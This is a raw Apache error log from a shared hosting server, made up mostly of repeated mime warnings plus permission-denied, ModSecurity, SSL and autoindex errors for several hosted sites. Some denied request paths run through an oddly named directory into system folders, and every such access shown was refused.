[Fri Jul 17 10:07:45.578209 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578239 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578269 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578298 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578329 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578373 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578405 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.578435 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.634680 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.700216 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.750995 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:45.848454 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:46.042491 2026] [core:error] [pid 2065297:tid 2065297] (13)Permission denied: [client 57.141.18.49:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory53/node0/memory87/subsystem/devices/memory101/subsystem/uevent
[Fri Jul 17 10:07:46.798788 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:46.802659 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:46.879152 2026] [security2:error] [pid 2068143:tid 2068143] [client 47.82.54.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse0/subsystem/input1/uniq"] [unique_id "almxmlmuKRtYY-VAGIVW5gAAAAk"]
[Fri Jul 17 10:07:46.879194 2026] [security2:error] [pid 2068143:tid 2068143] [client 47.82.54.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/mouse0/subsystem/input1/uniq"] [unique_id "almxmlmuKRtYY-VAGIVW5gAAAAk"]
[Fri Jul 17 10:07:47.002454 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.060289 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.083496 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.091974 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.093168 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.348916 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory103/subsystem/devices/memory61/node0/memory115/node0/memory68/subsystem/uevent
[Fri Jul 17 10:07:47.372036 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.385491 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.456655 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.753290 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.822250 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:47.822268 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:48.013953 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:48.039699 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:48.625739 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:48.721722 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:45752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:49.526255 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:49.534883 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:49.672290 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:49.684236 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:49.856028 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:50.058510 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:45830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:50.063504 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:50.105241 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:51.477566 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:41772] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:52.503142 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 47.82.14.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:16/subsystem/uevent
[Fri Jul 17 10:07:52.519757 2026] [core:error] [pid 2065297:tid 2065297] (13)Permission denied: [client 47.79.15.119:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pnp0/00:02/firmware_node/physical_node/subsystem/uevent
[Fri Jul 17 10:07:54.313225 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:54.560306 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:41898] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:55.229968 2026] [security2:error] [pid 2029579:tid 2029579] [client 112.134.114.131:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/World Immunization Week.jpeg"] [unique_id "almxoyRF0UOO1RzB5_87lAAAAA4"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:07:55.231093 2026] [security2:error] [pid 2029579:tid 2029579] [client 112.134.114.131:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/images/World Immunization Week.jpeg"] [unique_id "almxoyRF0UOO1RzB5_87lAAAAA4"], referer: https://www.epid.gov.lk/home
[Fri Jul 17 10:07:55.766963 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:42192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:07:55.837849 2026] [autoindex:error] [pid 2065293:tid 2065293] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:07:57.641381 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.731662 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.731745 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.731767 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.731950 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732138 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732163 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732181 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732270 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732307 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732328 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732421 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732443 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732534 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732556 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732576 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732836 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732930 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732978 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.732997 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733103 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733138 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733159 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733178 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733196 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733296 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733319 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733339 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733358 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733520 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733543 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733563 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733583 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733688 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733712 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733730 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733747 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733768 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733785 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733801 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733818 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.733835 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.822790 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930443 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930523 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930545 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930733 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930899 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930919 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.930936 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931076 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931112 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931129 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931221 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931240 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931329 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931347 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931378 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931608 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931712 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931745 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931762 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931851 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931869 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931886 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931902 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.931919 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932007 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932025 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932058 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932080 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932242 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932262 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932279 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932295 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932386 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932404 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.932420 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934202 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934247 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934265 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934294 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934312 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:57.934329 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.051473 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.051604 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.051665 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.051962 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052281 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052336 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052372 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052549 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052626 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052695 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052867 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.052911 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053096 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053143 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053182 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053572 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053752 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053821 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.053858 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054016 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054074 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054121 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054163 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054202 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054371 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054420 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054464 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054505 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054801 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054850 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054891 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.054934 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055162 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055205 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055252 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055292 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055331 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055385 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055426 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055477 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.055516 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.153772 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267432 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267528 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267552 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267763 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267931 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267954 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.267972 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268108 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268150 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268170 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268264 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268286 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268397 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268419 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268439 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268701 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268796 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268831 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268851 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268941 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268964 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.268983 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269003 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269020 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269162 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269191 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269209 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269228 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269409 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269431 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269455 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269475 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269494 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269597 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269628 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269680 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269711 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269740 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269779 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269808 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:07:58.269837 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
